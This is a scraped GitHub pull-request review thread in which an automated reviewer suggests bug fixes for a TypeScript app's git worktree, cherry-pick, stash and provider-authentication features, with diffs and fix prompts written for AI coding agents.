Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx` around lines 165 - 178, The reset in the useEffect that runs when the dialog opens doesn't clear loadingBranches, so if the dialog closed mid-fetch and reopened it can show stale loading state; update that effect to call setLoadingBranches(false) along with the other state resets (referencing useEffect, open, and the setter setLoadingBranches) so loadingBranches is explicitly cleared when the dialog is opened and the subsequent branch-fetch effects can re-run correctly.apps/ui/src/components/views/board-view/worktree-panel/worktree-panel.tsx-554-600 (1)
554-600:⚠️ Potential issue | 🟡 MinorEnsure single-remote pull/push uses that remote name.
If there’s exactly one remote and it isn’t
origin, the fallbackhandlePull(worktree)/handlePush(worktree)may target the wrong remote. You already have the remote list here; pass the sole remote name to avoid unexpected failures.🔧 Suggested fix
- if (result.success && result.result && result.result.remotes.length > 1) { + if (result.success && result.result && result.result.remotes.length > 1) { // Multiple remotes - show selection dialog setSelectRemoteWorktree(worktree); setSelectRemoteOperation('pull'); setSelectRemoteDialogOpen(true); } else { // Single or no remote - proceed with default behavior - handlePull(worktree); + const onlyRemote = + result.success && result.result?.remotes?.length === 1 + ? result.result.remotes[0]?.name + : undefined; + handlePull(worktree, onlyRemote); }- if (result.success && result.result && result.result.remotes.length > 1) { + if (result.success && result.result && result.result.remotes.length > 1) { // Multiple remotes - show selection dialog setSelectRemoteWorktree(worktree); setSelectRemoteOperation('push'); setSelectRemoteDialogOpen(true); } else { // Single or no remote - proceed with default behavior - handlePush(worktree); + const onlyRemote = + result.success && result.result?.remotes?.length === 1 + ? result.result.remotes[0]?.name + : undefined; + handlePush(worktree, onlyRemote); }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/worktree-panel/worktree-panel.tsx` around lines 554 - 600, When exactly one remote is returned, don't call handlePull(handlePush) without the remote name — extract the sole remote (from result.result.remotes[0].name) and call handlePull(worktree, remoteName) / handlePush(worktree, remoteName) instead of the current fallback; update handlePullWithRemoteSelection and handlePushWithRemoteSelection to pass that remote for the single-remote branch (keep the existing setSelectRemote* logic for multiple remotes and the catch fallback unchanged). Ensure the referenced functions handlePull and handlePush accept the optional remote argument or add an overload/parameter to consume the remote name you pass.
apps/ui/src/components/views/project-settings-view/worktree-preferences-section.tsx
Outdated
Show resolved
Hide resolved
apps/ui/src/components/views/project-settings-view/worktree-preferences-section.tsx
Outdated
Show resolved
Hide resolved
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
There was a problem hiding this comment.
Actionable comments posted: 4
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@apps/server/src/routes/worktree/routes/discard-changes.ts`:
- Line 92: The isSelectiveDiscard flag currently checks files && files.length >
0 && files.length < allFiles.length which treats an explicit list of all changed
files as a "discard all" case; change the condition to files && files.length > 0
so any explicit files array uses selective discard, ensuring per-path validation
(validateFilePath) and per-file metrics are executed; update the logic in the
discard-changes handler (isSelectiveDiscard, validateFilePath usage, and the
branch that returns per-file response metrics) so the discard-all branch is only
used when files is undefined/null, and make sure any code that relied on the
previous length comparison still behaves correctly when an explicit full list is
passed.
- Around line 31-37: The validateFilePath function currently only uses
path.resolve which doesn't follow symlinks; update validateFilePath to first
compute the lexical resolved path (as now) then attempt to call fs.realpathSync
(or fs.promises.realpath) on that resolved path to expand symlinks and compare
the real path prefix against the realpath of worktreePath (use
path.resolve(worktreePath) -> fs.realpathSync for worktree); if realpath
resolution fails because the target doesn't exist, fall back to the existing
lexical startsWith check; ensure you reference validateFilePath, resolved,
normalizedWorktree, and use fs.realpathSync (or async realpath) so symlinked
files inside the worktree that point outside are rejected.
- Around line 183-191: finalStatus is parsed from a repo-wide `git status` so
remainingCount currently counts all changed files, producing misleading
messages; instead, parse finalStatus.trim().split('\n') into a set of changed
paths (normalize paths the same way `allFiles`/requested paths are normalized),
then compute remainingCount as the number of requested paths (allFiles) that
still appear in that set; keep the existing actualDiscarded and message logic
but replace the repo-wide remainingCount with this selection-scoped count (refer
to symbols finalStatus, allFiles, remainingCount, actualDiscarded, message).
- Around line 109-135: The loop that classifies files in discard-changes is
misclassifying staged-new files (indexStatus === 'A'): change the classification
logic in the for-loop that iterates allFiles (using filesToDiscard,
trackedModified, stagedFiles, untrackedFiles) so that if indexStatus === 'A' you
push the path into untrackedFiles and skip further pushes for that file; keep
the existing stagedFiles push only for indexStatus !== ' ' && indexStatus !==
'?' && indexStatus !== 'A', and only push to trackedModified when workTreeStatus
indicates changes AND indexStatus !== 'A' (so AM becomes cleaned, not checked
out).
|
@claude review please |
|
Claude Code is working… I'll analyze this and get back to you. |
There was a problem hiding this comment.
Actionable comments posted: 8
Note
Due to the large number of review comments, Critical, Major severity comments were prioritized as inline comments.
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (3)
apps/ui/src/hooks/use-provider-auth-init.ts (1)
37-105:⚠️ Potential issue | 🟡 MinorClaude and Codex leave auth status
nullonsuccess: false— inconsistent with the new z.ai/Gemini handlingThe new z.ai (lines 128–135) and Gemini (lines 185–192) blocks both set a default unauthenticated status whenever
successis false orresult.authis absent, and on any error. Claude and Codex silently skipsetClaudeAuthStatus/setCodexAuthStatusin those same scenarios, leaving the store valuesnullindefinitely (sinceinitialized.current = trueblocks any retry). Downstream code that expects a non-null status for all four providers after init would behave differently for Claude/Codex vs z.ai/Gemini.🛠️ Proposed fix – add fallbacks to Claude and Codex
} catch (error) { logger.error('Failed to init Claude auth status:', error); + setClaudeAuthStatus({ + authenticated: false, + method: 'none', + hasCredentialsFile: false, + oauthTokenValid: false, + apiKeyValid: false, + hasEnvOAuthToken: false, + hasEnvApiKey: false, + }); } // 2. Codex Auth Status try { const result = await api.setup.getCodexStatus(); if (result.success && result.auth) { ... } + else { + setCodexAuthStatus({ + authenticated: false, + method: 'none', + hasAuthFile: false, + hasApiKey: false, + hasEnvApiKey: false, + }); + } } catch (error) { logger.error('Failed to init Codex auth status:', error); + setCodexAuthStatus({ + authenticated: false, + method: 'none', + hasAuthFile: false, + hasApiKey: false, + hasEnvApiKey: false, + }); }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/hooks/use-provider-auth-init.ts` around lines 37 - 105, When getClaudeStatus or getCodexStatus returns success: false, result.auth is missing, or an exception occurs, ensure you call setClaudeAuthStatus and setCodexAuthStatus with a sensible unauthenticated default instead of leaving the store null; update the try/catch blocks around api.setup.getClaudeStatus and api.setup.getCodexStatus to mirror the z.ai/Gemini handling by calling setClaudeAuthStatus({ authenticated: false, method: 'none', hasCredentialsFile: false, oauthTokenValid: false, apiKeyValid: false, hasEnvOAuthToken: false, hasEnvApiKey: false }) and setCodexAuthStatus({ authenticated: false, method: 'none', hasAuthFile: false, hasApiKey: false, hasEnvApiKey: false }) respectively (use the existing property names and types), and ensure the catch paths also set these defaults so initialized.current doesn’t leave them null.apps/ui/src/components/views/board-view.tsx (1)
934-957:⚠️ Potential issue | 🟠 MajorUse
resolveModelString()for model aliases before API calls.
These new feature payloads pass'opus'directly. Per the repo guideline, resolve aliases to full model names before calling the API.As per coding guidelines: Use resolveModelString() from `@automaker/model-resolver` to convert model aliases (haiku, sonnet, opus) to full model names before making API calls.🐛 Suggested fix
+import { resolveModelString } from '@automaker/model-resolver'; ... - model: 'opus' as const, + model: resolveModelString('opus') as const, ... - model: 'opus' as const, + model: resolveModelString('opus') as const, ... - model: 'opus' as const, + model: resolveModelString('opus') as const,Also applies to: 1042-1057, 1099-1113
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view.tsx` around lines 934 - 957, The payloads set model as the literal 'opus' (see featureData and other feature payloads) but must resolve aliases to full model names using resolveModelString; import resolveModelString from `@automaker/model-resolver`, then replace the hardcoded model values (e.g., model: 'opus') with model: resolveModelString('opus') or model: resolveModelString(variableContainingAlias) so the API receives the canonical model name for feature creation calls (apply the same change to the other payloads noted in the comment).apps/ui/src/components/views/board-view/worktree-panel/worktree-panel.tsx (1)
1031-1059:⚠️ Potential issue | 🟡 Minor
onCherryPickhandler is not passed toWorktreeTabin the standard tabs layout.In the mobile view and dropdown layout,
onCherryPick={handleCherryPick}is passed toWorktreeTab. However, in the standard tabs layout for both the main worktree and non-main worktrees,onCherryPickis missing. This makes cherry-pick inaccessible when the standard tabs layout is used (fewer than 3 worktrees), despite the handler being defined and the feature working in the other layouts.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/worktree-panel/worktree-panel.tsx` around lines 1031 - 1059, The standard tabs layout is missing the onCherryPick prop for WorktreeTab, so the cherry-pick action is unreachable; update the WorktreeTab invocation(s) in worktree-panel.tsx (the places rendering the "standard tabs" for main and non-main worktrees) to pass onCherryPick={handleCherryPick} alongside the other handlers (e.g., near onStashChanges/onViewStashes/onCommit etc.) so that the WorktreeTab component receives the handler just like the mobile/dropdown layouts do; ensure you reference the existing handleCherryPick function name and add the prop to both main and non-main worktree render branches where WorktreeTab is used.
🟡 Minor comments (15)
apps/ui/src/components/views/project-settings-view/worktree-preferences-section.tsx-237-275 (1)
237-275:⚠️ Potential issue | 🟡 MinorNormalization only strips a single leading
./— consider handling edge cases.Line 243's regex
replace(/^\.\//, '')only removes one leading./. Input like././foowould become./foo. Similarly,foo/with a trailing slash won't matchfooin the duplicate check.This is a minor edge case since users are unlikely to type these inputs, but a more robust normalization could prevent subtle mismatches.
🛡️ Proposed fix — iterative normalization
- const normalized = trimmed.replace(/^\.\//, '').replace(/^\//, ''); + const normalized = trimmed + .replace(/^(\.\/)+/, '') // strip all leading ./ + .replace(/^\/+/, '') // strip all leading / + .replace(/\/+$/, ''); // strip trailing /🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/project-settings-view/worktree-preferences-section.tsx` around lines 237 - 275, The normalization in handleAddCopyFile only strips a single leading "./" and doesn't remove trailing slashes; update the normalization so it removes any number of leading "./" or "/" segments and trims trailing slashes before duplicate-checking and persisting. Concretely, replace the current two replace calls with a single normalization sequence in handleAddCopyFile (the variable normalized) that: 1) trims input, 2) removes repeated leading "./" or "/" (e.g., replace(/^(\.\/|\/)+/, '')), 3) removes trailing slashes (e.g., replace(/\/+$/, '')), then continue to reject empty strings and run the existing duplicate check, optimistic update (setWorktreeCopyFiles) and server persistence logic unchanged.apps/server/src/services/cherry-pick-service.ts-120-129 (1)
120-129:⚠️ Potential issue | 🟡 Minor
aborted: trueis set even whenabortCherryPickfails.
abortCherryPickswallows its exception and returnsfalseon failure (line 147-149).runCherryPickignores the return value and unconditionally setsaborted: true, which misleads callers into thinking the repo was cleaned up when it may not have been.🐛 Proposed fix
- await abortCherryPick(worktreePath); - - return { - success: false, - error: 'Cherry-pick aborted due to conflicts; no changes were applied.', - hasConflicts: true, - aborted: true, - }; + const aborted = await abortCherryPick(worktreePath); + + return { + success: false, + error: aborted + ? 'Cherry-pick aborted due to conflicts; no changes were applied.' + : 'Cherry-pick has conflicts; automatic abort failed — repo may be dirty.', + hasConflicts: true, + aborted, + };🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/cherry-pick-service.ts` around lines 120 - 129, The code currently calls abortCherryPick() when hasConflicts is true but ignores its return value and always sets aborted: true; update runCherryPick to await and capture the boolean result from abortCherryPick(worktreePath) (or its failure indicator), and set the returned object's aborted property to that boolean instead of unconditionally true; if abortCherryPick returns false, include a clear error message (or include abort failure status) in the error field and consider logging the abort failure so callers are not misled that the repo was cleaned up.apps/server/src/services/cherry-pick-service.ts-94-110 (1)
94-110:⚠️ Potential issue | 🟡 MinorSuccess result is misleading when
noCommit: true.When
options.noCommitis set, git stages the changes but creates no commit. The returned object setscherryPicked: trueandmessage: "Successfully cherry-picked N commit(s)", both of which imply commits were created. Callers relying on this flag for downstream logic (e.g. UI messaging) will display incorrect information.🐛 Proposed fix
return { success: true, - cherryPicked: true, + cherryPicked: !options?.noCommit, commitHashes, branch, - message: `Successfully cherry-picked ${commitHashes.length} commit(s)`, + message: options?.noCommit + ? `Staged changes from ${commitHashes.length} commit(s) without committing` + : `Successfully cherry-picked ${commitHashes.length} commit(s)`, };🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/cherry-pick-service.ts` around lines 94 - 110, The success response currently always marks cherryPicked: true and returns "Successfully cherry-picked N commit(s)" even when options?.noCommit is set; update the return path after execGitCommand/getCurrentBranch in cherry-pick-service.ts to detect options?.noCommit and, if true, set cherryPicked: false and change message to indicate the changes were staged but not committed (e.g., "Staged changes from N commit(s); no commit created due to --no-commit"), preserving success, commitHashes and branch values; use the existing symbols execGitCommand, getCurrentBranch, commitHashes and options?.noCommit to implement this conditional result.apps/server/src/services/cherry-pick-service.ts-88-91 (1)
88-91:⚠️ Potential issue | 🟡 MinorNo guard against an empty
commitHashesarray.Calling
runCherryPick(path, [])passes zero hashes togit cherry-pick, which exits non-zero with a usage error. Add an early return or throw for the empty-array case.🛡️ Proposed fix
export async function runCherryPick( worktreePath: string, commitHashes: string[], options?: CherryPickOptions ): Promise<CherryPickResult> { + if (commitHashes.length === 0) { + return { success: false, error: 'No commit hashes provided.' }; + } const args = ['cherry-pick'];🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/cherry-pick-service.ts` around lines 88 - 91, runCherryPick lacks a guard for an empty commitHashes array, causing git to be invoked with no arguments; add an early check at the start of the runCherryPick function to handle commitHashes.length === 0 (either throw a clear Error like "No commit hashes provided to runCherryPick" or return immediately/resolve) so git cherry-pick is never called with zero hashes and callers can handle the result predictably.apps/server/src/services/cherry-pick-service.ts-40-53 (1)
40-53:⚠️ Potential issue | 🟡 MinorExtract
execGitCommandto avoid duplication—import fromcommon.ts.
execGitCommandis duplicated verbatim across at least 4 files (cherry-pick-service.ts, merge-service.ts, auto-mode/facade.ts, and common.ts). This makes maintenance harder and risks divergence if bugs are fixed in one place but not others.
branch-commit-log-service.tsalready uses the correct pattern: importexecGitCommandfromapps/server/src/routes/worktree/common.tsinstead of defining a local copy. Apply the same approach here.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/cherry-pick-service.ts` around lines 40 - 53, The local execGitCommand function in cherry-pick-service.ts is duplicated; remove the local definition and import the shared execGitCommand from common.ts (the same module used by branch-commit-log-service.ts). Replace the local function with an import statement and update any references to call the imported execGitCommand, ensuring the signature (args: string[], cwd: string) is preserved and error behavior remains unchanged.apps/ui/src/hooks/use-provider-auth-init.ts-214-220 (1)
214-220:⚠️ Potential issue | 🟡 MinorPre-populated cache bypasses session verification — background re-validation doesn't run on app restart
When all four statuses are non-null on mount (e.g., restored from IDB/localStorage), the guard at line 214-220 returns early before calling
refreshStatuses(), skipping the background session verification that the PR describes as an explicit goal.If intentional, add either an immediate call to
refreshStatuses()after the guard check, or schedule a deferred refresh specifically for the pre-populated-cache scenario.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/hooks/use-provider-auth-init.ts` around lines 214 - 220, The early-return guard in use-provider-auth-init (checking initialized.current and the four status vars claudeAuthStatus, codexAuthStatus, zaiAuthStatus, geminiAuthStatus) skips calling refreshStatuses() when statuses are pre-populated from storage, which prevents background re-validation on app restart; update the logic so that if the statuses are non-null but initialized.current is false (pre-populated cache case) you still call refreshStatuses() (either immediately after the guard or schedule a deferred call) and only skip refresh when initialized.current is true, ensuring refreshStatuses() runs for the pre-populated-cache scenario.apps/server/src/routes/worktree/routes/switch-branch.ts-240-257 (1)
240-257:⚠️ Potential issue | 🟡 Minor
parseRemoteBranchcalled twice; silent no-op if second call returnsnull.
parseRemoteBranch(branchName)is called at line 198 (to resolvetargetBranch) and again at line 243 (inside the checkout block). The result from the first call is discarded. More importantly, ifparsedisnullin the second call (e.g., a pathological branch name that slipped throughisRemoteBranch), theif (parsed)guard silently skips the checkout entirely — no error is raised, and the handler returns a success response claiming it switched to a branch it never actually switched to.🛠️ Proposed fix — hoist the parsed result
- let targetBranch = branchName; + let targetBranch = branchName; + let parsedRemote: { remote: string; branch: string } | null = null; let isRemote = false; if (await isRemoteBranch(worktreePath, branchName)) { isRemote = true; - const parsed = parseRemoteBranch(branchName); - if (parsed) { - targetBranch = parsed.branch; - } + parsedRemote = parseRemoteBranch(branchName); + if (parsedRemote) { + targetBranch = parsedRemote.branch; + } } // ... (later in checkout block) if (isRemote) { - const parsed = parseRemoteBranch(branchName); - if (parsed) { - if (await localBranchExists(worktreePath, parsed.branch)) { - await execFileAsync('git', ['checkout', parsed.branch], { cwd: worktreePath }); + if (parsedRemote) { + if (await localBranchExists(worktreePath, parsedRemote.branch)) { + await execFileAsync('git', ['checkout', parsedRemote.branch], { cwd: worktreePath }); } else { - await execFileAsync('git', ['checkout', '-b', parsed.branch, branchName], { + await execFileAsync('git', ['checkout', '-b', parsedRemote.branch, branchName], { cwd: worktreePath, }); } } else { + throw new Error(`Cannot parse remote branch name: '${branchName}'`); } }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/switch-branch.ts` around lines 240 - 257, The code calls parseRemoteBranch(branchName) twice and may silently skip checkout if the second call returns null; hoist the parsed remote branch result when you first resolve targetBranch (store it in a variable like parsedRemote or parsedBranch) and reuse that variable in the checkout branch block (instead of calling parseRemoteBranch again), and if isRemote is true but the parsed result is null throw or return an error rather than silently no-op; update the checkout logic that uses localBranchExists and execFileAsync to reference parsedRemote.branch so the handler cannot claim success when no checkout occurred.apps/ui/src/components/views/board-view/hooks/use-board-actions.ts-1200-1240 (1)
1200-1240:⚠️ Potential issue | 🟡 Minor
handleDuplicateAsChildMultiplelacks error handling and count guard.Two issues:
No
try/catchin the sequential loop. IfhandleAddFeaturethrows on iterationi > 0, the loop aborts silently —ifeatures are already created in both the store and on the server, but the user sees no error toast and no partial-success message.No
countguard. Acountof0results in a misleading "Created 0 chained duplicates" success toast. An excessively largecounttriggers an unbounded sequence of API calls.🐛 Proposed fix — add guard and per-iteration error handling
const handleDuplicateAsChildMultiple = useCallback( async (feature: Feature, count: number) => { + if (count <= 0) return; + let parentFeature = feature; + let created = 0; for (let i = 0; i < count; i++) { const { id: _id, status: _status, startedAt: _startedAt, error: _error, summary: _summary, spec: _spec, passes: _passes, planSpec: _planSpec, descriptionHistory: _descriptionHistory, titleGenerating: _titleGenerating, ...featureData } = parentFeature; const duplicatedFeatureData = { ...featureData, dependencies: [parentFeature.id], }; - const newFeature = await handleAddFeature(duplicatedFeatureData); - - if (newFeature) { - parentFeature = newFeature; - } + try { + const newFeature = await handleAddFeature(duplicatedFeatureData); + if (newFeature) { + parentFeature = newFeature; + } + created++; + } catch (error) { + logger.error(`Failed to create duplicate ${i + 1} of ${count}:`, error); + toast.error('Duplication partially failed', { + description: `Created ${created} of ${count} duplicates before an error occurred.`, + }); + return; + } } toast.success(`Created ${count} chained duplicates`, { description: `Created ${count} sequential copies of: ${truncateDescription(feature.description || feature.title || '')}`, }); }, [handleAddFeature] );🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/hooks/use-board-actions.ts` around lines 1200 - 1240, handleDuplicateAsChildMultiple currently has no guard on count and no error handling in the loop; add a guard at the start to reject non-positive counts and cap count to a reasonable MAX_DUPLICATES (e.g. 50) to prevent runaway API calls, then wrap each iteration's call to handleAddFeature in a try/catch so failures don't abort silently—on success increment a local success counter and update parentFeature to the returned newFeature, on error break the loop and show a toast.error that includes the caught error message and the number of features successfully created; finally show toast.success on full success or toast.info/partial-success when some were created. Reference symbols: handleDuplicateAsChildMultiple, handleAddFeature, parentFeature, toast.success, toast.error, and introduce a MAX_DUPLICATES constant.apps/server/tests/unit/services/auto-loop-coordinator.test.ts-890-949 (1)
890-949:⚠️ Potential issue | 🟡 MinorTest name and comments document the old (now-removed) fallback behavior.
The inline comments at lines 924–928 ("since
loadAllFeaturesFnis absent,allFeatures = pendingFeatures" / "soareDependenciesSatisfiedcan find'dep-feature'...") describe the behavior that the previous review flagged as a bug and that this PR explicitly removes. Under the current code, whenloadAllFeaturesFnis omitted, the ternary short-circuits totrueandareDependenciesSatisfiedis never called.The test passes coincidentally:
pendingFeatureWithDepis eligible because all dependency checks are bypassed, not because its dependency was found as'completed'viapendingFeatures. A future maintainer reading the comments could incorrectly conclude the old fallback still exists.Suggested improvements:
- Rename to reflect the actual mechanism, e.g. "bypasses dependency checks when
loadAllFeaturesFnis omitted".- Update the inline comments accordingly.
- Add a scenario where the dependency has
status: 'in_progress'(i.e., genuinely unsatisfied) and assert the feature still executes — this would only pass under the bypass behavior, proving the test actually validates what it claims.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/tests/unit/services/auto-loop-coordinator.test.ts` around lines 890 - 949, The test and comments incorrectly document a removed fallback; update the test for AutoLoopCoordinator.startAutoLoopForProject to reflect that omitting loadAllFeaturesFn bypasses dependency checks (not that pendingFeatures are used as allFeatures). Rename the test to something like "bypasses dependency checks when loadAllFeaturesFn is omitted", remove/replace comments that claim allFeatures = pendingFeatures and areDependenciesSatisfied finds the dependency, and add an assertion case where the dependency feature (dep-feature) has status 'in_progress' (or any non-completed state) to show the pendingFeatureWithDep still executes under the bypass; use the existing mocks (mockLoadPendingFeatures, mockIsFeatureFinished, mockExecuteFeature) to set statuses and assert mockExecuteFeature was called for 'feature-with-dep' and not for 'dep-feature' as before.apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx-706-714 (1)
706-714:⚠️ Potential issue | 🟡 Minor
dark:text-blackonSelectContentwill render invisible text in dark mode.
text-black dark:text-blackforces black text in both themes. If theSelectContenthas a dark background in dark mode (the typical case), the text becomes unreadable. This pattern appears on bothSelectContentinstances (lines 706 and 728). Verify the intended behavior and replace with a theme-aware token (e.g.,text-foreground) or confirm the component always renders on a light surface.Also applies to: 724-736
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx` around lines 706 - 714, The SelectContent components are forcing black text via className="text-black dark:text-black", which makes text invisible on dark backgrounds; update both SelectContent usages (the SelectContent JSX in this file) to use a theme-aware token (for example replace with "text-foreground" or simply "text-black" without dark override) or remove the dark:text-black override so the component uses the app's foreground color in dark mode; ensure the change is applied to both SelectContent instances referenced in this file.apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx-229-254 (1)
229-254:⚠️ Potential issue | 🟡 Minor"Load More" failure hides existing commits with no recovery path.
When
append=trueand the request fails,commitsErroris set (line 247) but existing commits remain in state. The commit list render condition!commitsError(line 502) hides the list, and the "Load More" button disappears with it — leaving the user with no option other than pressing Back to restart. At minimum, clearcommitsErrorbefore the append request or avoid overwriting the error state from a load-more failure.🛡️ Proposed fix
if (append) { setLoadingMoreCommits(true); + setCommitsError(null); } else { setLoadingCommits(true); setCommitsError(null); setCommits([]); setSelectedCommitHashes(new Set()); }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx` around lines 229 - 254, When loading commits with append=true in loadBranchCommitLog (the block using getHttpApiClient().worktree.getBranchCommitLog), avoid overwriting or setting commitsError on a load-more failure so the existing commits list remains visible; either clear commitsError before starting a non-append request (use setCommitsError(null) when append is false) and on catch only call setCommitsError(...) when append is false, or conditionally ignore/set a separate loadMoreError state for append flows; ensure setLoadingMoreCommits and setLoadingCommits are still toggled in finally so UI loading state remains correct.apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx-182-222 (1)
182-222:⚠️ Potential issue | 🟡 MinorAdd cleanup to prevent stale async state updates.
fetchBranchDatahas no AbortController or mounted guard. Ifopentoggles orworktreechanges while the fetch is in-flight, bothsetRemotesandsetLocalBrancheswill still fire, potentially populating branch data for a different worktree.fetchCommits(line 225) has the same issue.🛡️ Proposed fix
useEffect(() => { if (!open || !worktree) return; + let mounted = true; const fetchBranchData = async () => { setLoadingBranches(true); try { const api = getHttpApiClient(); const [remotesResult, branchesResult] = await Promise.all([ api.worktree.listRemotes(worktree.path), api.worktree.listBranches(worktree.path, false), ]); + if (!mounted) return; if (remotesResult.success && remotesResult.result) { setRemotes(remotesResult.result.remotes); ... } if (branchesResult.success && branchesResult.result) { ... } } catch (err) { console.error('Failed to fetch branch data:', err); } finally { + if (mounted) setLoadingBranches(false); } }; fetchBranchData(); + return () => { mounted = false; }; }, [open, worktree]);Apply the same pattern inside
fetchCommits.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx` around lines 182 - 222, The useEffect that declares fetchBranchData (and the similar fetchCommits) can update state after unmount or when worktree/open changes; add an abort/mounted guard and cleanup so setRemotes and setLocalBranches (and setCommits in fetchCommits) only run for the current request: inside the effect create an AbortController or a local let mounted = true, pass the signal where possible, and before calling setRemotes/setLocalBranches/setCommits check that the request was not aborted and mounted is still true; return a cleanup function that sets mounted = false (or calls controller.abort()) so in-flight promises don’t update stale state for a different worktree.apps/server/src/routes/worktree/routes/commit-log.ts-32-33 (1)
32-33:⚠️ Potential issue | 🟡 MinorFragile delimiter:
---END---in commit messages will break parsing.If any commit message or body contains the literal text
---END---, thesplit('---END---')at Line 48 will produce incorrect results. Consider using a less collision-prone separator like a NUL byte (%x00) or a format that includes field-length prefixes.💡 Example using NUL byte as record separator
- ['log', `--max-count=${commitLimit}`, '--format=%H%n%h%n%an%n%ae%n%aI%n%s%n%b%n---END---'], + ['log', `--max-count=${commitLimit}`, '-z', '--format=%H%n%h%n%an%n%ae%n%aI%n%s%n%b'],Then split on
\0instead of---END---.Also applies to: 48-48
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/commit-log.ts` around lines 32 - 33, The current git log format uses a fragile literal delimiter '---END---' (see the args array entry with '--format=%H%n%h%n%an%n%ae%n%aI%n%s%n%b%n---END---') and is later parsed with split('---END---'); replace this with a NUL-based record separator by changing the format string to use %x00 (e.g. '--format=%H%x00%h%x00%an%x00%ae%x00%aI%x00%s%x00%b%x00') and update the parsing code that currently calls split('---END---') to split on '\0' (or Buffer-based splitting if working with raw buffers) so commit messages containing the literal text won't break parsing; ensure the same unique symbols are updated: the args array entry and the split call.apps/server/src/services/worktree-service.ts-63-73 (1)
63-73:⚠️ Potential issue | 🟡 MinorEdge case: empty string in
worktreeCopyFilesbypasses traversal check and copies the entire project.
path.normalize('')returns'.', which passes both thestartsWith('..')andisAbsolutechecks. Thenpath.join(projectPath, '.')resolves toprojectPath, causing the entire project directory to be recursively copied into the worktree — almost certainly unintended.🛡️ Proposed fix
for (const relativePath of copyFiles) { + // Skip empty or whitespace-only paths + if (!relativePath || !relativePath.trim()) { + emitter.emit('worktree:copy-files:skipped', { + path: relativePath, + reason: 'Empty path', + }); + continue; + } + // Security: prevent path traversal const normalized = path.normalize(relativePath);🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/worktree-service.ts` around lines 63 - 73, The traversal check in the loop over copyFiles (variable relativePath in worktree-service.ts) misses the empty-string edge case because path.normalize('') === '.', so add a guard that treats empty or current-dir results as suspicious: after computing normalized, if normalized === '' || normalized === '.' then emit the same 'worktree:copy-files:skipped' event (with path: relativePath and a reason) and continue; keep existing checks for startsWith('..') and path.isAbsolute(normalized) intact so the loop in the copyFiles handling (worktreeCopyFiles) never allows ''/'.' to resolve to the whole project.apps/ui/src/components/views/board-view/worktree-panel/components/worktree-actions-dropdown.tsx-452-498 (1)
452-498:⚠️ Potential issue | 🟡 MinorStash submenu has edge cases with empty/redundant content.
Two scenarios to consider:
- When
!worktree.hasChangesor!onStashChanges: the main action becomes "Stashes" (which callsonViewStashes), and the submenu also shows "View Stashes" — the submenu duplicates the main action.- When
onViewStashesis not provided: the submenu content at lines 488-494 is empty, leaving an orphan chevron trigger.Consider guarding the submenu trigger to only show when there's a meaningful secondary action (i.e., when
onViewStashesexists ANDworktree.hasChanges && onStashChanges).🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/worktree-panel/components/worktree-actions-dropdown.tsx` around lines 452 - 498, The submenu is rendered even when it's redundant or empty; update the JSX around DropdownMenuSub/DropdownMenuSubTrigger/DropdownMenuSubContent so the submenu (chevron and DropdownMenuSubContent) is only rendered when there is a meaningful secondary action — specifically only when onViewStashes is provided AND the primary action is "Stash Changes" (i.e., worktree.hasChanges && onStashChanges). If those conditions are not met, render a single DropdownMenuItem (no DropdownMenuSubTrigger/SubContent) that either performs onStashChanges or onViewStashes as the primary action; ensure you reference and gate rendering by onViewStashes, onStashChanges, worktree.hasChanges, DropdownMenuSub, DropdownMenuSubTrigger, and DropdownMenuSubContent.
apps/ui/src/components/views/board-view/dialogs/discard-worktree-changes-dialog.tsx
Show resolved
Hide resolved
apps/ui/src/components/views/board-view/dialogs/merge-rebase-dialog.tsx
Outdated
Show resolved
Hide resolved
apps/ui/src/components/views/board-view/worktree-panel/worktree-panel.tsx
Show resolved
Hide resolved
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
…ee-changes-dialog.tsx Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
…e-panel.tsx Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
|
@coderabbitai review |
✅ Actions performedReview triggered.
|
There was a problem hiding this comment.
Actionable comments posted: 16
Caution
